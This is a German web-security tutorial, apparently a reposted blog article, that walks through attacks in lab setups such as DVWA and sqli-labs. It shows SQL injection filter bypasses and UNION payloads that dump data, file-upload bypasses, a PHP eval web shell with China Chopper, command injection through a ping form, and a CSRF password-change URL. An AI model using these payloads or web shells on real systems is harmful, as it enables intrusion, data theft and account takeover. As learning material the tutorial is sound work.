Detaillierte Erklärung zur SQL-Injection - Sicherheit (Teil 2)

Detaillierte Erklärung zur SQL-Injection - Sicherheit (Teil 2)

Sollte dieser Artikel Fehler enthalten oder du Anregungen haben, kannst du dich gerne bei mir melden, danke!
Vorwort: Basierend auf dem anfänglichen Erlernen der SQL-Injection in den letzten zwei Tagen üben Sie weiter in der Metasploitable-Linux-Umgebung.
1. Wir haben bereits von SQL-Injection erfahren, also müssen wir sie natürlich verhindern. Da Web-Injection sehr schädlich ist, sind nach und nach verschiedene Abwehrtechnologien auf den Markt gekommen.

1. Programmierer richten beim Schreiben von Code bewusst Abwehrmaßnahmen ein oder führen Sicherheitstests durch, um Web-Injections zu blockieren.
2. Hardware- oder Software-WAF-Produkte großer Sicherheitsanbieter

Blacklist-Filtertechnologie

1. Filtern Sie allgemeine Schlüsselwörter in SQL-Schlüsselfeldern: „and“, „or“, „union all select“, „Anführungszeichen“, „Leerzeichen“ usw. Es gibt auch einige ähnliche Techniken, die nicht filtern, sondern Escape-Funktionen verwenden oder ungültige Schlüsselwörter entfernen.

Bypass-Methode:

  1. 1. Fallverzerrung (id=-1 Union sEleCt 1,2,3……)
  2. 2. Kodierung: Hex-Code, URL-Code
  3. 3. Kommentieren Sie '/ oder /'
  4. 4. Filterwechsel (und–&&, oder–||)
  5. 5. Kürzung

2. Sicherheitslücke beim Datei-Upload

Wenn wir im Internet surfen, verwenden wir häufig die Funktion zum Hochladen von Dateien, z. B. zum Hochladen eines Avatarbilds, Hochladen einer Datei, Hochladen eines Videos usw. Ich weiß, dass dies eine normale Funktion ist, aber haben Sie jemals darüber nachgedacht, wie der Server diese Dateien nach dem Hochladen verarbeitet oder analysiert? Wenn der Server bei der Verarbeitung dieser hochgeladenen Dateien nicht sicher genug ist, führt dies zu Sicherheitsvorfällen, z. B.: Hochladen einer Webskriptdatei zur Ausführung durch den Server

  1. (1) Hochladen von Trojaner-Virusdateien, um Benutzer oder Administratoren zum Herunterladen zu verleiten
  2. (2) Phishing-Dateien hochladen
  3. (3) Hochladen gefälschter Dokumente

Kernschwachstelle beim Hochladen von Dateien

Damit ein Datei-Upload-Angriff erfolgreich ist, müssen im Allgemeinen zwei Elemente erfüllt sein:

  1. (1) Die Webshell-Datei kann erfolgreich auf den Server hochgeladen werden
  2. (2) Die Datei kann vom Server geparst werden oder wir können auf die hochgeladene Datei zugreifen

Implementierung des Kerns - Upload-Bypass-Technologie

Im Allgemeinen treten beim Hochladen von Dateien folgende Erkennungstechniken auf:

  1. (1) Clientseitige JavaScript-Erkennung (normalerweise Erkennung von Dateierweiterungen)
  2. (2) Serverseitige MIME-Typ-Erkennung (Erkennung von Content-Type-Inhalten)
  3. (3) Serververzeichnispfaderkennung (Erkennung von Inhalten, die sich auf den Pfadparameter beziehen)
  4. (4) Serverseitige Dateierweiterungserkennung (Erkennung von Inhalten, die mit der Dateierweiterung in Zusammenhang stehen)
  5. (5) Serverseitige Dateiinhaltserkennung (Erkennung, ob der Inhalt legal ist oder Schadcode enthält)

Umgehung der clientseitigen Erkennung (Javascript-Erkennung)

Diese Art der Erkennung enthält normalerweise Javascript-Code auf der Upload-Seite, der speziell Datei-Uploads erkennt. Am häufigsten wird erkannt, ob die Erweiterung zulässig ist. Diese Art der Umgehung ist sehr einfach.
Methode: Erstellen Sie eine Webshell-Datei (z. B. shell.php) -> Ändern Sie sie in eine zulässige Erweiterung (shell.png) -> Burp fängt sie ab und ändert sie in (shell.php) -> Hochladen

Umgehung der serverseitigen Erkennung (MIME-Typ-Erkennung)

Diese Erkennung wird auf dem Server durchgeführt und die Hauptprüfung ist der Inhaltstypwert (Whitelist oder Blacklist). Natürlich ist auch dieser Bypass einfach.
Methode: Erstellen Sie eine Webshell-Datei (z. B. shell.php, Content-Type: text/plain) -> Burp-Interception geändert in (Sontent-Type: image/gif) -> Hochladen

Umgehung der Servererkennung (Erkennung des Verzeichnispfads)

Diese Erkennung wird auf dem Server durchgeführt und prüft im Allgemeinen, ob der Pfad zulässig ist. Bei leicht speziellen Pfaden besteht jedoch keine Abwehrmöglichkeit. Beispiel: shell.php.[\0].png [\0], 123.php0x00.png, wobei 0x00 das Trunkierungszeichen der Sprachen PHP und C ist. Dies bedeutet, dass der Server, wenn er die Datei liest und beim Lesen von shell.php auf [\0] stößt, die Datei beendet und als shell.php ausführt. Es gibt auch eine ähnliche Post-Submission-Datei shell.php%00.png
Hinweis: Um die Hintergrunderkennung zu umgehen, müssen Sie ihm nur die gewünschte Dateierweiterung geben und dann das echte Suffix abschneiden.

Umgehung der serverseitigen Erkennung (Erkennung von Dateierweiterungen)

Wie der Name schon sagt, prüft es die Dateierweiterung, normalerweise durch Whitelist- und Blacklist-Schutz.

1. Blacklist, die Erweiterung darf beispielsweise nicht html, php, php3, php4, asp, exe, bat, jsp + Groß-/Kleinschreibung des Dateinamens enthalten. Verwenden Sie Dateinamen wie AsP, pHp, um die Blacklist-Erkennung zu umgehen.

  1. (1) Listenumgehung: Verwenden Sie zum Angriff eine Liste, die nicht auf der schwarzen Liste steht, z. B. asa oder cer, die nicht auf der schwarzen Liste stehen
  2. (2) Umgehen mit speziellen Dateinamen, z. B. Ändern des Dateinamens im gesendeten http-Paket in test.asp. oder test.asp_ (Unterstrich steht für Leerzeichen). Diese Benennungsmethode ist in Windows-Systemen nicht zulässig, daher ist es notwendig, sie in Burp oder dergleichen zu ändern. Nach dem Umgehen der Überprüfung werden der abschließende Punkt und das Leerzeichen automatisch vom Windows-System entfernt. Beachten Sie jedoch, dass Unix-/Linux-Systeme diese Funktion nicht haben.
  3. (3) htaccess-Dateiangriff kombiniert mit Listenumgehung. Laden Sie eine benutzerdefinierte .htaccess hoch, Sie können verschiedene Erkennungsmethoden leicht umgehen
  4. (4) Umgehung des Parsing-Aufrufs/der Schwachstelle Diese Art von Schwachstelle kann umgangen werden, indem man einfach eine nicht auf der schwarzen Liste stehende Datei hochlädt, in die Code eingeschleust wurde, und dann den Parsing-Aufruf/die Schwachstelle verwendet
  5. (5) Whitelist-Erkennung

2. Die Whitelist ist relativ sicherer als die Blacklist, aber nicht unbedingt absolut sicher.

(1) 0x00 Trunkierungs-Bypass

Verwenden Sie die Methode test.asp%00.jpg, um die Whitelist-Datei abzuschneiden, und verwenden Sie dann die Erkennungslogik-Schwachstelle des Servercodes zum Angriff. Derzeit bin ich dieser Schwachstelle nur in ASP-Programmen + Parsing Call/Schwachstellen-Bypass begegnet. Diese Art von Schwachstelle kann direkt mit einer Whitelist-Datei mit Code-Injektion hochgeladen werden und dann den Parsing Call/die Schwachstelle verwenden

(2) .htaccess-Datei-Angriff

Im PHP-Handbuch wird im Abschnitt move_uploaded_file erwähnt, dass es eine Warnung gibt, die besagt: „Wenn die Zieldatei bereits existiert, wird sie überschrieben.“ Wenn die PHP-Sicherheit nicht richtig konfiguriert ist, können Sie die Funktion move_uploaded_file verwenden, um die .htaccess-Datei auf dem Server mit Ihrer eigenen Datei zu überschreiben. Auf diese Weise können Sie die Parsing-Liste beliebig definieren.

Umgehung der serverseitigen Erkennung (Erkennung von Dateiinhalten)

Wenn die Dateiinhaltserkennung strenger eingestellt ist, wird der Upload-Angriff sehr schwierig. Man kann auch sagen, dass es sich um die letzte Erkennungsebene auf der Codeebene handelt. Wenn sie beschädigt ist, bietet dies, selbst wenn es keine Schwachstelle auf der Codeebene gibt, später die Möglichkeit, die Parsing-Schwachstelle auf der Anwendungsebene auszunutzen.

(1) Die Prüfung auf die magische Dateinummer erkennt hauptsächlich die magische Dateinummer am Anfang des Dateiinhalts, zum Beispiel: to bypass jpg Wert = FF D8 FF E0 00 10 4A 46 49 46. Umgehen der Magic Number-Erkennung für GIF-Dateien Wert = 47 49 46 38 39 61 Umgehen der Magic Number-Erkennung für PNG-Dateien Wert = 89 50 4E 47

(2) Erkennung dateibezogener Informationen

Die Funktion getimagesize() wird häufig verwendet, um Informationen zu Bilddateien zu erkennen. Sie müssen nur den Dateikopfteil fälschen. Das heißt, auf der Grundlage der magischen Zahl werden einige Dateiinformationen hinzugefügt. Es ähnelt in etwa der folgenden Struktur

GIF89a

(...einige Binärdaten für das Bild...)
 <?php phpinfo(); ?>
(... den Rest der Binärdaten überspringen ...)

(3) Erkennung des Dateiladens

Dies ist die ungewöhnlichste Erkennung. Im Allgemeinen wird eine API oder Funktion aufgerufen, um einen Dateiladetest durchzuführen. Am häufigsten wird ein Bildwiedergabetest durchgeführt. Die ungewöhnlichste Erkennung führt sogar ein sekundäres Rendering durch. Die Angriffsmethode für den Rendering-/Ladetest ist die Umgehung der Codeeinschleusung. Die Angriffsmethode für das sekundäre Rendering besteht darin, den Dateilader selbst anzugreifen.

drei,

1. (1) Kopieren Sie die entsprechende URL unten, klicken Sie auf URL laden und dann auf Ausführen


(2) Erstellen Sie einen Abschluss und erhalten Sie den Datenbanknamen – dvwa. Folgen Sie dann der vorherigen Routine und stellen Sie fest, dass das System einen Fehler meldet. Die Fehlermeldung lautet wie folgt



Das System fügt automatisch das Symbol \ hinzu, was bedeutet, dass in der erstellten Funktion ein Fehler auftritt. Wir sollten dieses Phänomen vermeiden, damit das System dem Konstruktor nicht automatisch Sonderzeichen hinzufügt. In diesem Fall können Sie Hex-Code verwenden, um die Zeichenfolge dvwa in Hexadezimalzahlen (in 0x...) umzuwandeln, sodass das einfache Anführungszeichen im Konstruktor nicht verwendet wird. Zu diesem Zeitpunkt fügt das System dem Konstruktor nicht mehr automatisch Sonderzeichen hinzu, wodurch der Konstruktor zerstört wird.

(3) Verwenden Sie in ähnlicher Weise die zuvor verwendete SQL-Anweisung, um die Daten zu extrahieren.

2. Nehmen Sie Less-25 als Beispiel

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+ //Closure entsprechend dem Echo konstruieren und database() ausgeben

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name and table_schema = database()--+ //Tabellennamen table_name, Spaltennamen column_name offenlegen

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+ //Blast data

Zusammenfassung: Zuerst konstruieren wir kontinuierlich geschlossene Eingaben und beobachten das Echo. Wir stellen fest, dass das System die Zeichenfolge „und“ und „+“ (+ entspricht der Leertaste) filtert.

Dann können wir vermutlich „und“ in gemischter Groß- und Kleinschreibung verwenden oder „und“ mit Zeilensprung und Unterbrechung oder andere Zeichen statt „und“ verwenden, etwa && (der Hauptzweck ist die Verwendung von „und“) oder Hexadezimalcode- oder URL-Code-Konvertierungsmethoden verwenden. Ebenso kann für die Zeichenfolge „oder“ oder „oder“, die in einem Wort (wie etwa „Information“) vorkommt, die obige Methode verwendet werden. Der Schlüssel liegt darin, die Filterung des Systems zu umgehen und ein bestimmtes Ziel zu erreichen

3. Nehmen Sie Less-26 als Beispiel

Das Zeichen „and“ entspricht Less-25. Die herauszufilternden Leerzeichen können %20 -- Leerzeichen oder die Kodierung der TAB-Taste oder die Kodierung der Newline-Taste sein.

4. Nehmen Sie http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/ als Beispiel. Die Schnittstelle ist wie folgt. Es ist eine pingbare Schnittstelle.


In dieser Schnittstelle gibt es eine Schwachstelle, die dazu führt, dass Sie während des Pings das Verbindungssymbol verwenden können, um andere Aktionen auszuführen. Wenn Sie 127.0.0.1 || pwd in die Eingabeleiste eingeben, tritt die folgende Situation auf


Das aktuelle Dateiverzeichnis wird in der Benutzeroberfläche angezeigt. Anschließend können wir diese Sicherheitslücke nutzen, um die gewünschten Daten abzurufen. Hier erwähnen wir den „One Sentence Trojan“

echo '<?php @eval($_POST[123]);?>' > 123.php

[Um zu verhindern, dass das Opfer es entdeckt, werden manchmal andere Satzformen zusammen mit dem „Ein-Satz-Trojaner“ verwendet.

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

4. Kombination von Dateieinbindung und Dateiupload zur Implementierung eines Angriffs

(1) Wählen Sie unter http://192.168.122.130/DVWA-1.9/security.php die Option „Niedrig“ für die DVWA-Sicherheit aus.
Anschließend lädt File Upload eine .php-Datei mit einem einzeiligen Trojaner hoch und fügt dann über bekannte Verzeichnisse Informationen zu China Chopper hinzu, um alle Verzeichnisse zu erhalten – an diesem Punkt kann die Datei manipuliert, gelöscht, hochgeladen usw. werden (manchmal kann dies umgangen werden, indem der Dateiname umbenannt wird: 123.png0x00.php – hier stellt 0x00 das Ende des Namens dar)

Verwenden Sie Chinese Chopper, um den folgenden Code hinzuzufügen: echo '<?php @eval($_POST[123]);?>' > 123.php

Anschließend können Sie das Verzeichnis über China Chopper wie folgt abrufen:

(2) Wählen Sie DVWA-Sicherheit als Mittel unter http://192.168.122.130/DVWA-1.9/security.php
Zu diesem Zeitpunkt wird beim Hochladen der PHP-Datei ein Fehler ausgegeben und das Hochladen ist nicht möglich. Daher ändern wir das Trojaner-Dateiformat in ein Format, das das Hochladen unterstützt. In der Datei im PNG-Format befindet sich ein Trojaner. Hier nehmen wir das PNG-Format als Beispiel.


Browser-Proxy manuell einrichten



Starten Sie BurpLoader und benennen Sie die erfassten Pakete um!


Wählen Sie dann Aktion->An Repeater senden und klicken Sie dann auf Gehe zu Repeater. Beobachten Sie das Fenster auf der rechten Seite und Sie werden sehen, dass die Datei hochgeladen wurde. Öffnen Sie China Chopper und greifen Sie gemäß den vorherigen Schritten darauf zu.

(3) Wählen Sie unter http://192.168.122.130/DVWA-1.9/security.php die Option „Hoch“ für die DVWA-Sicherheit aus.

Wenn Sie zunächst sehen, dass das Bild hochgeladen wurde, muss das hochgeladene Bild verarbeitet worden sein (ein Satz-Trojaner wurde hinzugefügt). Öffnen Sie dazu das Bildcodierungstool Winhex, fügen Sie dem Codierungstool einen Satz-Trojaner hinzu und generieren Sie ein neues codiertes Bild.

Natürlich können Sie auch den cmd-Befehl verwenden: copy 1.png/b+123.php /a TCP.png. Dabei ist 1.png ein normales Bild und 123.php ein Satz-Trojaner. Setzen Sie sie zu einem neuen Bild mit dem Namen TCP.png zusammen und laden Sie es dann hoch, damit es erfolgreich ist (oben wird cmd verwendet).

Nachdem das Bild hochgeladen wurde, kann es nicht mehr wie die mittlere Ebene erfasst und umbenannt werden. Auf der Webserverseite sollte eine entsprechende Sicherheitsverarbeitung erfolgen.
Zu diesem Zeitpunkt müssen wir es manuell auslösen (natürlich können wir auch warten, bis der angegriffene Systemadministrator auf das Bild klickt, um es auszulösen). Nach dem Auslösen können wir China Chopper mit derselben Methode öffnen und das Verzeichnis abrufen.

5. Ideen zum Umgang mit einigen abnormalen Werten:

Vergleichen Sie, beobachten Sie, was sich vor und nach dem Hochladen nicht geändert hat (durch binäre Anomalien), und nehmen Sie dann bestimmte Änderungen an den hochgeladenen Daten vor, um einen bestimmten Zweck zu erreichen.
Einige andere Angriffsmethoden:

  1. 1. Nehmen Sie http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/ als Beispiel. Schreiben Sie eine Triggeranweisung in das Bild. Wenn der Administrator einen Befehl eingibt, wird das Bild ausgeführt und der im Bild enthaltene Code wird ausgeführt. Das heißt, eine häufig verwendete Triggeranweisung ist vorab vergraben!
  2. 2. Suchen Sie den spezifischen Speicherort des standardmäßigen temporären Dateispeichers des Systems, der angegriffen werden soll, und ändern Sie dann den Inhalt der Datei (fügen Sie der Datei beispielsweise eine ausführbare Datei hinzu, die einen Satz-Trojaner enthält usw.), um den gewünschten Effekt zu erzielen
  3. 3. Wenn das System den Dateinamen hochgeladener Dateien automatisch ändert, können wir die hochgeladenen, nicht ausführbaren Dateien nicht ausführen. Dies können wir jetzt tun: Da das Gerät eine bestimmte Dateiverarbeitungsgrenze hat, kann es dieselbe Datei jede Sekunde mit hoher Frequenz übertragen, sodass der Hintergrund keine Zeit hat, den Dateinamen einer oder zweier Dateien zu ändern, sodass der Dateiname nicht geändert wird. Wenn wir dann auf die Datei zugreifen können, können wir sie ausführen und angreifen!

6. CSRF: Cross Site Request Forgery (unter Verwendung von Cookie-Werten)

Erstellen Sie eine URL, um das Opfer dazu zu verleiten, auf den Link zu klicken, und verwenden Sie dann die Cookies des Opfers, um es dem Opfer zu ermöglichen, das Passwort ohne sein Wissen zu ändern.

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

Beispiel: Ein Hacker verwendet beispielsweise sein eigenes Kontokennwort, um sich bei einer Website anzumelden, klickt dann auf die Kennwortänderungsschnittstelle und erstellt eine URL zum Ändern des Kennworts. Wenn der Hacker einen Angriff starten möchte, veranlasst er ein Opfer (das sich zuvor über einen Browser bei der Website angemeldet hat und Cookies im Browser gespeichert hat), auf die zuvor erstellte URL zu klicken, und ändert dann das Kennwort ohne das Wissen des Opfers. Der Hacker kennt dieses Kennwort. Wenn der Angriff zu diesem Zeitpunkt erfolgreich ist, kann der Hacker das beim Erstellen der URL erstellte Kennwort verwenden, um sich als Opfer bei der Website anzumelden und eine Reihe von Vorgängen auszuführen!

Einige aktuelle Verteidigungen:

1. Sie können den Bestätigungscode zur Verteidigung verwenden

2. Websites, die zur Änderung des Passworts das ursprüngliche Passwort erfordern

3. Abwehrmethode: Kein Referrer beim Downgrade

Beim Verlinken von einer Website zu einer anderen wird eine neue HTTP-Anfrage generiert. Referrer ist ein Feld in der HTTP-Anfrage, das die Quelle angibt.
no-referrer-when-downgrade bedeutet, dass beim Downgrade des https-Protokolls auf das http-Protokoll kein Referrer an den Server der weitergeleiteten Website gesendet wird.

4. Der Token-Fälschungsschutzmechanismus kann im Gegensatz zu Cookies die meisten CSRF-Angriffe blockieren (jeder hat einen Fälschungsschutzcode, den andere nicht erraten können. Wenn Sie Ihr Passwort ändern möchten, müssen Sie dazu Ihren eigenen Token verwenden) – der Token muss unregelmäßig und vorzugsweise verschlüsselt sein.

Oben finden Sie die detaillierte SQL-Injection-Sicherheitsintegration, die vom Herausgeber vorgestellt wurde. Ich hoffe, sie ist für alle hilfreich. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht und der Herausgeber wird Ihnen rechtzeitig antworten. Ich möchte auch allen für ihre Unterstützung der Website 123WORDPRESS.COM danken!

Das könnte Sie auch interessieren:
  • Eine kurze Analyse der MySQL-Injection-Sicherheitsprobleme
  • Python-Operation SQLite3 – Beispiel für schnelles und sicheres Einfügen von Daten (Anti-Injection)
  • Detaillierte Erklärung und Lösungen häufiger Sicherheitsprobleme bei der PHP-Entwicklung (wie SQL-Injection, CSRF, Xss, CC usw.)
  • Implementierung von PHP SQL Injection (die Sicherheit des Testcodes ist gut)

<<:  Einfache Schritte zum Schreiben benutzerdefinierter Anweisungen in Vue3.0

>>:  Tutorial zum Upgrade von Centos7 auf Centos8 (mit Bildern und Text)

Artikel empfehlen

Vue Virtual DOM – Schnellstart

Inhaltsverzeichnis Virtueller DOM Was ist virtuel...

Lernen Sie, wie Sie Uniapps und Miniprogramme (Bilder und Text) untervergeben

Inhaltsverzeichnis 1. Subunternehmer für Miniprog...

So verwenden Sie JS WebSocket zur Implementierung eines einfachen Chats

Inhaltsverzeichnis Kurze Umfrage Langfristige Abf...

So installieren Sie Docker unter Windows Server 2016

Kürzlich hat Microsoft Windows Server 2016 veröff...

CentOS 7 Installations- und Konfigurations-Tutorial unter VMware10

Während Ubuntu heute das beliebteste Linux-Betrie...

CSS3-Filtercode zum Erreichen des Grau- oder Schwarzmodus auf Webseiten

Frontend css3.filter kann nicht nur den Graueffek...

Implementierung der K8S-Bereitstellung eines Docker-Containers

Umgebung: (Docker, K8s-Cluster), fahren Sie mit d...

Detaillierte Erklärung des CSS-Pseudoelements::marker

Dieser Artikel stellt ein interessantes Pseudoele...

Erstellen Sie einen hochverfügbaren MySQL-Cluster mit Dual-VIP

Inhaltsverzeichnis 1. Projektbeschreibung: 2. Pro...

Vue-CLI3.x stellt Projekte automatisch auf dem Server bereit

Inhaltsverzeichnis Vorwort 1. Installieren Sie sc...

JavaScript zur Implementierung der Webversion des Gobang-Spiels

In diesem Artikel wird der spezifische Code für J...

Was ist Software 404 und 404-Fehler und was ist der Unterschied zwischen ihnen

Zunächst einmal: Was ist 404 und Soft 404? 404: Ei...

Benutzerdefinierte Docker-Netzwerkimplementierung

Inhaltsverzeichnis 1. Passen Sie das Netzwerk an,...

Detaillierte Erklärung zur Verwendung von CSS3 RGB und RGBA (transparente Farbe)

Ich glaube, jeder Mensch ist sehr sensibel für Fa...